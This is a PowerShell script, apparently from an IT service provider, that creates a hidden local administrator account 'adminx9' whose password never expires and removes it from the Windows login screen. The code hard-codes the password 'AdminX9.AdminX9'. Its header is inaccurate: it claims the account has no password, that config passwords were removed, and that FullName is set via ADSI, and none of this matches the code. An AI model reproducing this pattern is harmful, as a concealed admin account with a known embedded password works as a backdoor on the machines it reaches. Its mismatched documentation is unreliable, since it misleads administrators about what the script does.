<#
.SYNOPSIS
    Creates the adminx9 local administrator account for MSP use.

.DESCRIPTION
    Creates a hidden local administrator account 'adminx9' used by X9.cz technicians
    for remote management and on-site administration. The account has no password by
    design - it is invisible to regular users and only accessible to technicians who
    know it exists. FullName is set to "X9.cz s.r.o." so it is identifiable in
    system tools. Password policy is set so it never expires.

.ITEMS
    vytvorit-lokalni-ucet-adminx9: Creates the account via [ADSI] WinNT provider. No password by design - the account is hidden from users and used only by MSP technicians for remote administration.
    pridat-do-skupiny-administrators: Adds adminx9 to the local Administrators group via net localgroup. Required for full system management rights.
    skryt-z-login-obrazovky-specialaccounts-: Sets HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\adminx9 = 0. Removes the user tile from Windows login and lock screen completely.
    heslo-nevypirsi-uzivatel-nesmeni-heslo: Sets ADS_UF_DONT_EXPIRE_PASSWD and ADS_UF_PASSWD_CANT_CHANGE flags via ADSI userFlags. The account never locks out or requires password maintenance.
    zadne-heslo-aktualne-nastavovano-z-confi: Account created with empty password. Previous version used config.json password - removed because plaintext passwords in config files are a security risk.
    fullname-x9-cz-s-r-o-via-adsi: Sets FullName property via [ADSI] so the account shows as "X9.cz s.r.o." in User Accounts panel, Event Viewer, and audit logs.
#>
param(
    [object]$Config,
    [string]$LogFile
)

$ErrorActionPreference = "Continue"

function Write-Log {
    param([string]$Message, [string]$Level = "INFO")
    $line = "[$(Get-Date -Format 'HH:mm:ss')] [$Level] $Message"
    Add-Content -Path $LogFile -Value $line -Encoding UTF8
}

# -----------------------------------------------------------------------
# Read account config
# -----------------------------------------------------------------------
$accountName = "adminx9"
$accountPass = "AdminX9.AdminX9"
$accountDesc = "X9 MSP admin account"

if ($Config -and $Config.adminAccount) {
    if ($Config.adminAccount.username) { $accountName = $Config.adminAccount.username }
    if ($Config.adminAccount.password) { $accountPass = $Config.adminAccount.password }
    if ($Config.adminAccount.description) { $accountDesc = $Config.adminAccount.description }
}

Write-Log "Creating admin account: $accountName" -Level INFO

$securePass = ConvertTo-SecureString $accountPass -AsPlainText -Force

# -----------------------------------------------------------------------
# Create or update account
# -----------------------------------------------------------------------
$existing = Get-LocalUser -Name $accountName -ErrorAction SilentlyContinue

if ($existing) {
    Write-Log "  Account already exists - updating password" -Level INFO
    try {
        Set-LocalUser -Name $accountName -Password $securePass -PasswordNeverExpires $true
        Enable-LocalUser -Name $accountName
        Write-Log "  Account updated: $accountName" -Level OK
    }
    catch {
        Write-Log "  Failed to update account: $_" -Level ERROR
    }
} else {
    try {
        New-LocalUser -Name $accountName `
                      -Password $securePass `
                      -Description $accountDesc `
                      -PasswordNeverExpires `
                      -UserMayNotChangePassword `
                      -ErrorAction Stop | Out-Null
        Write-Log "  Account created: $accountName" -Level OK
    }
    catch {
        Write-Log "  Failed to create account: $_" -Level ERROR
    }
}

# -----------------------------------------------------------------------
# Add to Administrators group
# -----------------------------------------------------------------------
try {
    $adminsGroup = (Get-LocalGroup | Where-Object { $_.SID -eq "S-1-5-32-544" }).Name
    $members = Get-LocalGroupMember -Group $adminsGroup -ErrorAction SilentlyContinue |
               Where-Object { $_.Name -like "*$accountName" }
    if (-not $members) {
        Add-LocalGroupMember -Group $adminsGroup -Member $accountName -ErrorAction Stop
        Write-Log "  Added to $adminsGroup" -Level OK
    } else {
        Write-Log "  Already in $adminsGroup" -Level INFO
    }
}
catch {
    Write-Log "  Failed to add to Administrators: $_" -Level ERROR
}

# -----------------------------------------------------------------------
# Hide account from login screen
# -----------------------------------------------------------------------
try {
    $specialPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
    if (-not (Test-Path $specialPath)) {
        New-Item -Path $specialPath -Force | Out-Null
    }
    Set-ItemProperty -Path $specialPath -Name $accountName -Value 0 -Type DWord -Force
    Write-Log "  Account hidden from login screen" -Level OK
}
catch {
    Write-Log "  Failed to hide account from login screen: $_" -Level ERROR
}

Write-Log "Step 0a - Admin account complete" -Level OK